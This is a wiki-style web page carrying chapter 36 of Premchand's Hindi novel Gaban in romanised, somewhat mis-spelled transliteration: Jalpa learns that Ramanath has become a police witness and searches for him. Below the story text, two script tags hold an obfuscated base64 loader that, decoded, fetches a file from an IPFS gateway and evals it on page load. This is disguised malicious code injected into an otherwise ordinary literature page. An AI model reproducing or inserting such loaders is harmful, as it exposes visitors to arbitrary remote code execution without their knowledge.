ग़बन उपन्यास भाग-36

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

devidin ne chay ki dookan usi din se band kar di thi aur din-bhar us adalat ki khak chhanata phirata tha jisamean dakaiti ka mukadama pesh tha aur ramanath ki shahadat ho rahi thi. tin din rama ki shahadat barabar hoti rahi aur tinoan din devidin ne n kuchh khaya aur n soya. aj bhi usane ghar ate hi ate kurata utar diya aur ek pankhiya lekar jhalane laga. phagun lag gaya tha aur kuchh-kuchh garmi shuroo ho gee thi, par itani garmi n thi ki pasina bahe ya pankhe

ki zaroorat ho aphasar log to ja doan ke kap de pahane hue the, lekin devidin pasine mean tar tha. usaka chehara, jis par nishkapat budhapa hansata rahata tha, khisiyaya hua tha, mano begar se lauta ho jaggo ne lote mean pani lakar rakh diya aur boli,chilam rakh dooan? devidin ki aj tin din se yah khatir ho rahi thi. isake pahale budhiya kabhi chilam rakhane ko n poochhati thi. devidin isaka matalab samajhata tha. budhiya ko saday najaroan se dekhakar bola,nahian, rahane do, chilam n piooanga.

‘to muanh-hath to dho lo. gard p di huee hai.’

‘dho looanga, jaldi kya hai.’

budhiya aj ka hal janane ko utsuk thi, par dar rahi thi kahian devidin jhuanjhala n p de. vah usaki thakan mita dena chahati thi, jisase devidin prasann hokar ap-hi-ap sara vrittaant kah chale.

‘to kuchh jalapan to kar lo. dopahar ko bhi to kuchh nahian khaya tha,

mithaee laooan- lao, pankhi mujhe de do.’

devidin ne pankhiya de di. budhiya jhalane lagi. do-tin minat tak aankheanan band karake baithe rahane ke bad devidin ne kaha, ‘aj bhaiya ki gavahi khatm ho gee!

budhiya ka hath rook gaya. boli, ‘to kal se vah ghar a jaeange?’

devidin—‘abhi nahian chhutti mili jati, yahi bayan divani mean dena p dega. aur ab vah yahaan ane hi kyoan lage! koee achchhi jagah mil jayagi, gho de par chadhe-chadhe ghoomeange, magar hai .da pakka matalabib pandrah begunahoan ko phansa diya. paanch-chhah ko to phaansi ho jaegi. auroan ko das-das barah-barah sal ki saza mili rakkhi hai. isi ke bayan se mukadama saboot ho gaya. koee kitani hi jirah kare, kya majal zara bhi hichakichae. ab ek bhi n bachega. kisane karm kiya, kisane nahian kiya isaka hal daiv jane, par mare sab jaeange. ghar se bhi to sarakari rupaya khakar bhaga tha. hamean bada dhokha hua. jaggo ne mithe tiraskar se dekhakar kaha, ‘apani neki-badi apane sath hai. matalabi to sansar hai, kaun kisake lie marata hai.’

devidin ne tivr svar mean kaha,’apane matalab ke lie jo doosaroan ka gala kate usako zahar de dena bhi pap nahian hai.’

sahasa do prani akar kh de ho ge. ek gora, khoobasoorat l daka tha, jisaki umr pandrah-solah sal se zyada n thi. doosara adhe d tha aur soorat se chaparasi maloom hota tha. devidin ne poochha, ‘kise khojate ho?’

chaparasi ne kaha,’tumhara hi nam devidin hai n? maian ‘praja-mitr’ ke daftar se aya hooan. yah baboo unhian ramanath ke bhaee haian jinhean sataranj ka inam mila tha. yah unhian ki khoj mean daftar ge the. sanpadakaji ne tumhare pas bhej diya. to maian jaooan n?’ yah kahata hua vah chala gaya. devidin ne gopi ko sir se paanv tak dekha. akriti rama se milati thi. bola, ‘ao beta, baitho. kab ae ghar se?’gopi ne ek khatik ki dookan par baithana shan ke khilaf samajha, khada-khada bola, ‘aj hi to aya hooan. bhabhi bhi sath haian. dharmashale mean thahara hua hooan.’

devidin ne kh de hokar kaha, ‘to jakar bahoo ko yahaan lao nab oopar to rama baboo ka kamara hai hi, aram se raho dharamasale mean kyoan p de rahoge. nahian chalo, maian bhi chalata hooan. yahaan sab tarah ka aram hai.’

usane jaggo ko yah khabar sunaee aur oopar jhadoo lagane ko kahakar gopi ke sath dharmashale chal diya. budhiya ne turant oopar jakar jhadoo. lagaya, lapakakar halavaee ki dookan se mithaee aur dahi laee, surahi mean pani bharakar rakh diya. phir apana hath-muanh dhoya, ek rangin sa di nikali, gahane pahane aur ban-thanakar bahoo ki rah dekhane lagi.

itane mean phitan bhi a pahuanchi. budhiya ne jakar jalapa ko utara. jalapa pahale to saph-bhaji ki dookan dekhakar kuchh jhijhaki, par budhiya ka sneh-svagat dekhakar usaki jhijhak door ho gee. usake sath oopar gee, to har ek chiz isi tarah apani jagah par paee mano apana hi ghar ho

jaggo ne lote mean pani rakhakar kaha, ‘isi ghar mean bhaiya rahate the, beti! aj pandrah roz se ghar soona padahua hai. hath-muanh dhokar dahi-chini kha lo n, beti! bhaiya ka hal to abhi tumhean n maloom hua hoga. ‘

jalapa ne sir hilakar kaha, ‘kuchh thik-thik nahian maloom hua. vah jo patr chhapata hai, vahaan maloom hua tha ki pulis ne giraphtar kar liya hai.‘

devidin bhi oopar a gaya tha. bola, ‘giraphtar to kiya tha, par ab to vah ek mukadame mean sarakari gavah ho ge haian. paragaraj mean ab un par koee mukadama n chalega aur sait naukari-chakari bhi mil jae. jalapa ne garv se kaha, ‘kya isi dar se vah sarakari gavah ho ge haian?

vahaan to un par koee mamala hi nahian hai. mukadama kyoan chalega?’

devidin ne darate-darate kaha, ‘kuchh rupaye-paise ka muamala tha n?’

jalapa ne mano ahat hokar kaha, ‘vah koee bat n thi. jyoanhi ham logoan ko maloom hua ki kuchh sarakari rakam inase kharch ho gee hai, usi vakt pahuancha di. yah vyarth ghabadakar chale ae aur phir aisi chuppi sadhi ki apani khabar tak n di.’

devidin ka chehara jagamaga utha, mano kisi vyatha se aram mil gaya ho bola, ‘to yah ham logoan ko kya maloom! bar-bar samajhaya ki ghar par khat-pattar bhej do, log ghabadate hoange, par mare sharm ke likhate hi n the. isi dhokhe mean p de rahe ki paragaraj mean mukadama chal gaya hoga. janate to sarakari gavah kyoan banate?’

‘sarakari gavah’ ka ashay jalapa se chhipa n tha. samaj mean unaki jo nianda aur apakirti hoti hai, yah bhi usase chhipi n thi. sarakari gavah kyoan banae jate haian, kis tarah pralobhan diya jata hai, kis bhaanti vah pulis ke putale banakar apane hi mitroan ka gala ghoantate haian, yah use maloom tha. magar koee adami apane bure acharan par lajjit hokar bhi saty ka udaghatan kare,

chhal aur kapat ka avaran hata de, to vah sajjan hai, usake sahas ki jitani prashansa ki jae, kam hai. magar shart yahi hai ki vah apani goshthi ke sath kie ka phal bhogane ko taiyar rahe. hansata-khelata phaansi par chadhajae to vah sachcha vir hai, lekin apane pranoan ki raksha ke lie svarth ke nich vichar se, dand ki kathorata se bhayabhit hokar apane sathiyoan se daga kare, astin ka saanp ban jae to vah kayar hai, patit hai, behaya hai. vishvasaghat dakuoan aur samaj

ke shatruoan mean bhi utana hi hey hai jitana kisi any ksho meanb aise prani ko samaj kabhi kshama nahian karata, kabhi nahian,jalapa ise khoob samajhati thi. yahaan to samasya aur bhi jatil ho gee thi. rama ne dand ke bhay se apane kie hue papoan ka parada nahian khola tha. usamean kam-se-kam sachchaee to hoti. nianda hone par bhi aanshik sachchaee ka ek gun to hota. yahaan to un papoan ka parada khola gaya tha, jinaki hava tak use n lagi thi. jalapa ko sahasa isaka vishvas

n aya. avashy koee-n?koee bat huee hogi, jisane rama ko sarakari gavah banane par majaboor kar diya hoga. saddachati huee boli,’kya yahaan bhi koee---koee bat ho gee thi?’

devidin usaki manovyatha ka anubhav karata hua bola, ‘koee bat nahian. yahaan vah mere sath hi paragaraj se ae. jab se ae yahaan se kahian ge nahian. bahar nikalate hi n the. bas ek din nikale aur usi din pulis ne pak d liya. ek sipahi ko ate dekhakar dare ki mujhi ko pak dane a raha hai, bhag kh de hue. us sipahi ko khataka hua. usane shubahe mean giraphtar kar liya. maian bhi inake pichhe thane mean pahuancha. daroga pahale to risavat maangate the, magar jab maian ghar se rupaye lekar gaya, to vahaan aur hi gul khil chuka tha. aphasaroan mean n jane kya batachit huee. unhean sarakari gavah bana liya. mujhase to bhaiya ne kaha ki is muamale mean bilakul jhooth n bolana p dega. pulis ka mukadama sachcha hai. sachchi bat kah dene mean kya haraj hai. maian chup ho raha. kya karata.’ jaggo—‘n jane saboan ne kaunasi booti suangha di. bhaiya to aise n the. din bhar ammaan-ammaan karate rahate the. dookan par sabhi tarah ke log ate haian, mard bhi aurat bhi, kya majal ki kisi ki or aankh uthakar dekha ho .’ devidin—‘koee buraee n thi. maianne to aisa l daka hi nahian dekha. usi dhokhe mean a ge.’ jalapa ne ek minat sochane ke bad kaha, ‘kya unaka bayan ho gaya?’

‘haan, tin din barabar hota raha. aj khatam ho gaya.’

jalapa ne udvign hokar kaha, ‘to ab kuchh nahian ho sakata? maian unase mil sakati hooan?’

devidin jalapa ke is prashn par muskara p da. bola, ‘haan, aur kya, jisamean jakar bhandago d kar do, sara khel biga d do! pulis aisi gadhi nahian hai. ajakal koee bhi unase nahian milane pata. kada pahara rahata hai.’

is prashn par is samay aur koee batachit n ho sakati thi. is gutthi ko sulajhana asan n tha. jalapa ne gopi ko bulaya. vah chhajje par khada s dak ka tamasha dekh raha tha. aisa sharama raha tha, mano sasural aya ho dhire-dhire akar khada ho gaya. jalapa ne kaha, ‘muanh-hath dhokar kuchh kha to lo. dahi to tumhean bahut achchha lagata hai.’gopi laja kar phir bahar chala gaya.

devidin ne muskarakar kaha, ‘hamare samane n khaeange. ham donoan chale jate haian. tumhean jis chiz ki zaroorat ho, hamase kah dena, bahooji! tumhara hi ghar hai.’

‘bhaiya ko to ham apana hi samajhate the. aur hamare kaun baitha hua hai.’jaggo ne garv se kaha, ‘vah to mere hath ka banaya kha lete the.’

jalapa ne muskarakar kaha, ‘ab tumhean bhojan n banana p dega, maanji, maian bana diya karooangi.’

jaggo ne apatti ki, ‘hamari biradari mean doosaroan ke hath ka khana mana hai, bahoo, ab char din ke lie biradari mean naky kya banooan!’

jalapa—‘hamari biradari mean bhi to doosaroan ka khana mana hai.’

jaggo—‘yahaan tumhean kaun dekhane ata hai. phir padhe-likhe adami in batoan ka vichar bhi to nahian karate. hamari biradari to moorakh logoan ki hai. ’ jalapa—‘yah to achchha nahian lagata ki tum banao aur maian khaooan. jise bahoo banaya, usake hath ka khana p dega. nahian khana tha, to bahoo kyoan banaya.’

devidin ne jaggo ki or prashansa-soochak najaroan se dekhakar kaha, ‘bahoo ne bat pate ki kah di. isaka javab sochakar dena. abhi chalo. in logoan ko zara aram karane do.’

donoan niche chale ge, to gopi ne akar kaha, ‘bhaiya isi khatik ke yahaan rahate the kya? khatik hi to maloom hote haian.’

jalapa ne phatakarakar kaha, ‘khatik hoan ya chamar hoan, lekin hamase aur tumase saugune achchhe haian. ek paradeshi adami ko chhah mahine tak apane ghar mean thaharaya, khilaya, pilaya. hamamean hai itani himmat! yahaan to koee mehaman a jata hai, to vah bhi bhari ho jata hai. agar yah niche haian, to ham inase kahian niche haian.’

gopi muanh-hath dho chuka tha. mithaee khata hua bola, kisi ko thahara lene se koee ooancha nahian ho jata. chamar kitana hi danapuny kare, par rahega to chamar hi.’

jalapa—‘maian us chamar ko us pandit se achchha samajhooangi, jo hamesha doosaroan ka dhan khaya karata hai.’

jalapan karake gopi niche chala gaya. shahar ghoomane ki usaki badi ichchha thi. jalapa ki ichchha kuchh khane ki n huee. usake samane ek jatil samasya kh di thi,rama ko kaise is daladal se nikale. us nianda aur upahas ki kalpana hi se usaka abhiman ahat ho uthata tha. hamesha ke lie vah sabaki aankhoan se phir jaeange, kisi ko muanh n dikha sakeange. phir, begunahoan ka khoon kisaki gardan par hoga. abhiyuktoan mean n jane kaun aparadhi hai, kaun niraparadh hai, kitane dvesh ke shikar haian, kitane lobh ke, sabhi saza pa jaeange. shayad do-char ko phaansi bhi ho jay. kis par yah hatya p degi? usane phir socha, mana kisi par hatya n p degi. kaun janata hai, hatya p dati hai ya nahian, lekin apane svarth ke lie,oh! kitani badi nichata hai. yah kaise is bat par razi hue! agar myunisipailiti ke mukadama chalane ka bhay bhi tha, to do-char sal ki kaid ke siva aur kya hota, usase bachane ke lie itani ghor nichata par utar ae! ab agar maloom bhi ho jae ki myunisipailiti kuchh nahian kar sakati, to ab ho hi kya sakata hai. inaki shahadat to ho hi gee. sahasa ek bat kisi bhari kil ki tarah usake hriday mean chubh gee.

kyoan n yah apana bayan badal dean. unhean maloom ho jae ki myunisipailiti unaka kuchh nahian kar sakati, to shayad vah khud hi apana bayan badal dean. yah bat unhean kaise bataee jae? kisi tarah sanbhav hai. vah adhir hokar niche utar aee aur devidin ko ishare se bulakar boli,’kyoan dada, unake pas koee khat bhi nahian pahuanch sakata? pahare valoan ko das-paanch rupaye dene se to shayad khat pahuanch jay.’ devidin ne gardan hilakar kaha,’musakil hai. pahare par bade janche hue adami rakhe ge haian. maian do bar gaya tha. saboan ne phatak ke samane khadabhi n hone diya.’

‘us bangale ke asapas kya hai?’

‘ek or to doosara bangala hai. ek or ek kalami am ka bag hai aur samane s dak hai.’

‘haan, sham ko ghoomane-ghamane to nikalate hi hoange?’

‘haan, bahar ddarasi dalakar baithate haian. pulis ke do-ek aphasar bhi sath rahate haian.’

‘agar koee us bag mean chhipakar baithe, to kaisa ho! jab unhean akele dekhe, khat pheank de. vah zaroor utha leange.’

devidin ne chakit hokar kaha, ‘haan, ho to sakata hai, lekin akele milean tab to!’

zara aur aandhera hua, to jalapa ne devidin ko sath liya aur ramanath ka bangala dekhane chali. ek patr likhakar jeb mean rakh liya tha. bar-bar devidin se poochhati, ab kitani door hai? achchha! abhi itani hi door aur! vahaan hate mean roshani to hogi hi. usake dil mean laharean-si uthane lagian. rama akele tahalate hue mil jaean, to kya poochhana. eemal mean baandhakar khat ko unake samane pheank dooan. unaki soorat badal gee hogi. sahasa use shanka ho gee,kahian vah patr padhakar bhi apana bayan n badalean, tab kya hoga? kaun jane ab meri yad bhi unhean hai ya nahian. kahian mujhe dekhakar vah muanh udhar lean to- is shanka se vah saham uthi. devidin se boli, ‘kyoan dada,

vah kabhi ghar ki charcha karate the?’

devidin ne sir hilakar kaha,’kabhi nahian. mujhase to kabhi nahian ki. udas bahut rahate the. ’

in shabdoan ne jalapa ki shanka ko aur bhi sajiv kar diya. shahar ki ghani basti se ye log door nikal ae the. charoan or sannata tha. dinabhar veg se chalane ke bad is samay pavan bhi vishram kar raha tha. s dak ke kinare ke vriksh aur maidan chandrama ke mand prakash mean hatotsah, nirjiv-se maloom hote the. jalapa ko aisa abhas hone laga ki usake prayas ka koee phal nahian hai, usaki yatra ka koee lakshy nahian hai, is anant marg mean usaki dasha us anath ki-si hai jo muttibhar akai ke lie dvar-dvar phirata ho vah janata hai, agale dvar par use akai n milega, galiyaan hi mileangi, phir bhi vah hath phailata hai, badhati manata hai. use asha ka avalanb nahian nirasha hi ka avalanb hai.

ekaek s dak ke dahani taraph bijali ka prakash dikhaee diya. devidin ne ek bangale ki or uangali uthakar kaha, ‘yahi unaka bangala hai.’

jalapa ne darate-darate udhar dekha, magar bilakul sannata chhaya hua tha. koee adami n tha. phatak par tala padahua tha.

jalapa boli,’yahaan to koee nahian hai.’

devidin ne phatak ke aandar jhaankakar kaha, ‘haan, shayad yah bangala chho d diya.’

‘kahian ghoomane ge hoange?’

‘ghoomane jate to dvar par pahara hota. yah bangala chho d diya.’

‘to laut chalean.’

‘nahian, zara pata lagana chahie, ge kahaan?’

bangale ki dahani taraph amoan ke bag mean prakash dikhaee diya. shayad khatik bag ki rakhavali kar raha tha. devidin ne bag mean akar pukara, ‘kaun hai yahaan? kisane yah bag liya hai?’

ek adami amoan ke jhuramut se nikal aya. devidin ne use pahachanakar kaha ,

‘are! tum ho jangali? tumane yah bag liya hai?’

jaganli thigana-sa gathila adami tha, bola,’haan dada, le liya, par kuchh hai nahian. dand hi bharana p dega. tum yahaan kaise a ge?’

‘kuchh nahian, yoan hi chala aya tha. is bangale vale adami kya hue?’

jangali ne idhar-udhar dekhakar kanabatiyoan mean kaha, ‘isamean vahi mukhabar tika hua tha. aj sab chale ge. sunate haian, pandrah-bis din mean aeange, jab phir haeekort mean mukadama pes hoga. padhe-likhe adami bhi aise dagabaj hote haian, dada! sarasar jhoothi gavahi di. n jane isake bal-bachche haian ya nahian, bhagavan ko bhi nahian dara!’

jalapa vahian kh di thi. devidin ne jangali ko aur zahar ugalane ka avasar n diya. bola, ‘to pandrah-bis din mean aeange, khoob maloom hai?

jangali—‘haan, vahi pahare vale kah rahe the.’

‘kuchh maloom hua, kahaan ge haian?’

‘vahi mauqa dekhane ge haian jahaan varadat huee thi.’

devidin chilam pine laga aur jalapa s dak par akar tahalane lagi. rama ki yah nianda sunakar usaka hriday tuk de-tuk de hua jata tha. use rama par krodh n aya, glani n aee, use hathoan ka sahara dekar is daladal se nikalane ke lie usaka man vikal ho utha. rama chahe use dutkar hi kyoan n de, use thukara hi kyoan n de, vah use apayash ke aandhere khadad mean n phirane

degi. jab donoan yahaan se chale to jalapa ne poochha, ‘is adami se kah diya n ki jab vah a jayan to hamean khabar de de?’

‘haan, kah diya.’

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>